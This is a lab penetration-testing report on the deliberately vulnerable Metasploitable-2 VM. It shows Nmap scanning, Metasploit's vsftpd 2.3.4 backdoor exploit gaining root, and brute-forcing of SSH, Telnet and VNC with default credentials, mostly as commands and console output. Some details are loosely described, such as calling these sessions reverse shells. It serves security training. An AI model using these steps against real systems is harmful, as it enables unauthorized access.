

METASPLOITABLE-2 Penetration Testing Report

1. Introduction

This penetration test targets Metasploitable-2, a vulnerable Linux-based virtual machine designed for security testing. The objective is to simulate real-world attacks to identify vulnerabilities within the system. Tools like Nmap and Metasploit will be used for scanning and exploitation, with the goal of uncovering weaknesses and providing recommendations for improving system security..

2. Test Scope

The scope of this penetration test focuses exclusively on the Metasploitable-2 environment, a Linux-based virtual machine intentionally designed with vulnerabilities. The testing will include scanning for open ports and vulnerabilities, identifying potential exploits, and assessing the system's overall security posture within this legacy Linux environment..

3. Methodology

1. Gathering information (Reconnaissance)
2. Scanning for vulnerabilities
3. Trying to exploit vulnerabilities
4. Reporting findings.

4. Findings

This section contains the vulnerabilities or issues found during my testing.

4.1 : Nmap Scan

Description: I ran the Nmap scan with the following command to identify open ports and services on the Metasploitable-2 machine:

- `nmap -sV 192.168.0.108`

The scan revealed all open ports, their respective states, and the associated services and versions running on the target system. Upon identifying the PostgreSQL service, I started it using the following command:

- `service postgresql start`

Screenshot:

```
(root@Windows)-[/home/iam]
# nmap -sV 192.168.0.108
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 14:15 IST
Nmap scan report for 192.168.0.108
Host is up (0.0014s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:38:29:64 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.76 seconds
```

4.2 : Exploiting vsftpd Service

Description: During the Nmap scan, I identified the vsFTPD service running on the target system. The Nmap scan revealed the FTP service version, which indicated the potential for a known vulnerability in vsFTPD. Specifically, I found that the system was running vsFTPD version 2.3.4, which is vulnerable to the backdoor attack:

To exploit this, I used the Metasploit framework with the following exploit:

- **msf6 exploit(unix/ftp/vsftpd_234_backdoor)**

After setting the **RHOST** , I ran the exploit. This successfully opened a reverse shell, providing access to the target system. This backdoor vulnerability in vsFTPD allowed for remote command execution without requiring authentication.

Steps:

1. Identify vsFTPD service through Nmap scan.
2. Search for exploit: vsftpd 2.3.4 backdoor.

3. Use Metasploit's **vsftpd_234_backdoor** exploit.
4. Set **RHOST** to the target IP.
5. Run the exploit and gain reverse shell access.

This step demonstrates how vulnerable versions of FTP services can be exploited to gain unauthorized access to a system.

Screenshot:

```
msf6 > search vsftpd

Matching Modules
=====

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor     2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.0.108
RHOSTS => 192.168.0.108
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.0.108:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.0.108:21 - USER: 331 Please specify the password.
[+] 192.168.0.108:21 - Backdoor service has been spawned, handling...
[+] 192.168.0.108:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.0.107:36025 -> 192.168.0.108:6200) at 2024-11-15 14:27:44 +0530

whoami
root
id
uid=0(root) gid=0(root)
```

4.3 : Exploiting SSH Login

Description: In this phase, I focused on the SSH service running on the Metasploitable-2 machine. Using the **auxiliary(scanner/ssh/ssh_login)** module in Metasploit, I attempted to brute-force the SSH login by providing a list of potential usernames and passwords.

The steps I followed are:

1. **Search for SSH login exploit:** I used the Metasploit module **auxiliary(scanner/ssh/ssh_login)** to attempt brute-forcing the SSH service.

2. **Set parameters:** I configured the module by specifying the following options:
 - **RHOST:** The target IP address of the Metasploitable-2 system.
 - **USERFILE:** A file containing a list of potential usernames.
 - **PASSFILE:** A file containing a list of common passwords.
3. **Run the exploit:** After configuring the module, I ran it to attempt multiple login combinations.
4. **Successful login and reverse shell:** The brute-force attempt succeeded in logging into the SSH service, resulting in a reverse shell. This gave me remote access to the target system via SSH.

Screenshot:

```
msf6 auxiliary(scanner/ssh/ssh_login) > run
[*] 192.168.0.108:22 - Starting bruteforce
[+] 192.168.0.108:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux m
etasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] SSH session 2 opened (192.168.0.107:33097 -> 192.168.0.108:22) at 2024-11-15 14:47:48 +0530
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > session -l
[-] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -l

Active sessions
=====

  Id  Name  Type      Information  Connection
  ---  ---  ---
  2    shell linux  SSH root @  192.168.0.107:33097 -> 192.168.0.108:22 (192.168.0.108)

msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 2
[*] Starting interaction with 2...

whoami
msfadmin
id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),
107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
```

4.4 : Exploiting Telnet Login

Description: For this step, I targeted the Telnet service on Metasploitable-2 using Metasploit's **auxiliary(scanner/telnet/telnet_login)** module. This allowed me to attempt a brute-force login on Telnet, using a list of potential usernames and passwords.

The process followed:

1. **Search for Telnet login exploit:** In Metasploit, I found the module `auxiliary(scanner/telnet/telnet_login)` to brute-force the Telnet login credentials.
2. **Configure the module:** I set the following parameters:
 - **RHOST:** The IP address of the Metasploitable-2 target.
 - **USERFILE:** A file containing possible usernames.
 - **PASSFILE:** A file containing common passwords.
3. **Run the brute-force attempt:** Upon running the module, it attempted various username-password combinations until it successfully authenticated with the target's Telnet service.
4. **Gaining a session:** After successfully brute-forcing the login, a session was created. By executing `session -i 2`, I was able to interact with the session, gaining command-line access as the `msfadmin` user on the Metasploitable-2 machine.

Screenshot:

```
msf6 auxiliary(scanner/telnet/telnet_login) > run

[!] 192.168.0.108:23 - No active DB -- Credential data will not be saved!
[-] 192.168.0.108:23 - 192.168.0.108:23 - LOGIN FAILED: admin:admin (Incorrect: )
[-] 192.168.0.108:23 - 192.168.0.108:23 - LOGIN FAILED: admin:msfadmin (Incorrect: )
[-] 192.168.0.108:23 - 192.168.0.108:23 - LOGIN FAILED: admin:msf (Incorrect: )
[-] 192.168.0.108:23 - 192.168.0.108:23 - LOGIN FAILED: admin:hello (Incorrect: )
[-] 192.168.0.108:23 - 192.168.0.108:23 - LOGIN FAILED: admin:user (Incorrect: )
[-] 192.168.0.108:23 - 192.168.0.108:23 - LOGIN FAILED: admin:admin (Incorrect: )
[-] 192.168.0.108:23 - 192.168.0.108:23 - LOGIN FAILED: msfadmin:admin (Incorrect: )
[+] 192.168.0.108:23 - 192.168.0.108:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.0.108:23 - Attempting to start session 192.168.0.108:23 with msfadmin:msfadmin
[*] Command shell session 2 opened (192.168.0.107:38043 -> 192.168.0.108:23) at 2024-11-15 15:19:28 +0530
[-] 192.168.0.108:23 - 192.168.0.108:23 - LOGIN FAILED: msf:admin (Incorrect: )
^C[*] 192.168.0.108:23 - Caught interrupt from the console...
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_login) > sessions -l

Active sessions
=====

  Id  Name  Type  Information                                     Connection
  --  ---  ---  -
  1      shell TELNET msfadmin:msfadmin (192.168.0.108:23) 192.168.0.107:46071 -> 192.168.0.108:23 (192.168.0.108)
  2      shell TELNET msfadmin:msfadmin (192.168.0.108:23) 192.168.0.107:38043 -> 192.168.0.108:23 (192.168.0.108)

msf6 auxiliary(scanner/telnet/telnet_login) > sessions -i 2
[*] Starting interaction with 2...

msfadmin@metasploitable:~$ pwd
/home/msfadmin
msfadmin@metasploitable:~$ |
```

4.5 : Exploiting VNC Login

Description: In this step, I targeted the **VNC (Virtual Network Computing)** service running on Metasploitable-2 using the **auxiliary(scanner/vnc/vnc_login)** module in Metasploit to identify weak or default VNC credentials. Upon successful authentication, I accessed the VNC session.

Steps:

1. **Search and configure the VNC login module:**
 - I searched for the VNC login brute-forcing module in Metasploit: **search vnc_login**.
 - I selected the module: **use auxiliary(scanner/vnc/vnc_login)**.
2. **Set parameters:**
 - **RHOSTS:** Set the target IP address: **set RHOSTS 192.168.0.108**.
3. **Run the module:**
 - Executed the module using the **run** command.
 - The module attempted to log in to the VNC service with default or weak credentials.
4. **Successful login:**
 - The module successfully logged in using the password **password**:
 - **[+] 192.168.0.108:5900 - Login Successful: :password**
5. **Accessing the VNC session:**
 - After identifying the valid credentials, I used the **vncviewer** tool to connect:
 - **vncviewer 192.168.0.108**
 - Entered the password **password** to authenticate.
 - Successfully accessed the VNC interface, revealing the desktop environment of the target.

Outcome:

Gaining access to the VNC session provided control over the graphical user interface (GUI) of the target system. This demonstrated how weak VNC passwords can compromise system security, highlighting the importance of strong authentication practices.

Screenshot:

```
msf6 auxiliary(scanner/telnet/telnet_login) > search vnc_login
Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  auxiliary/scanner/vnc/vnc_login          .              normal No     VNC Authentication Scanner

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/vnc/vnc_login

msf6 auxiliary(scanner/telnet/telnet_login) > use 0
msf6 auxiliary(scanner/vnc/vnc_login) > set RHOSTS 192.168.0.108
RHOSTS => 192.168.0.108
msf6 auxiliary(scanner/vnc/vnc_login) > run

[*] 192.168.0.108:5900 - 192.168.0.108:5900 - Starting VNC login sweep
[!] 192.168.0.108:5900 - No active DB -- Credential data will not be saved!
[+] 192.168.0.108:5900 - 192.168.0.108:5900 - Login Successful: :password
[*] 192.168.0.108:5900 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/vnc/vnc_login) >
```

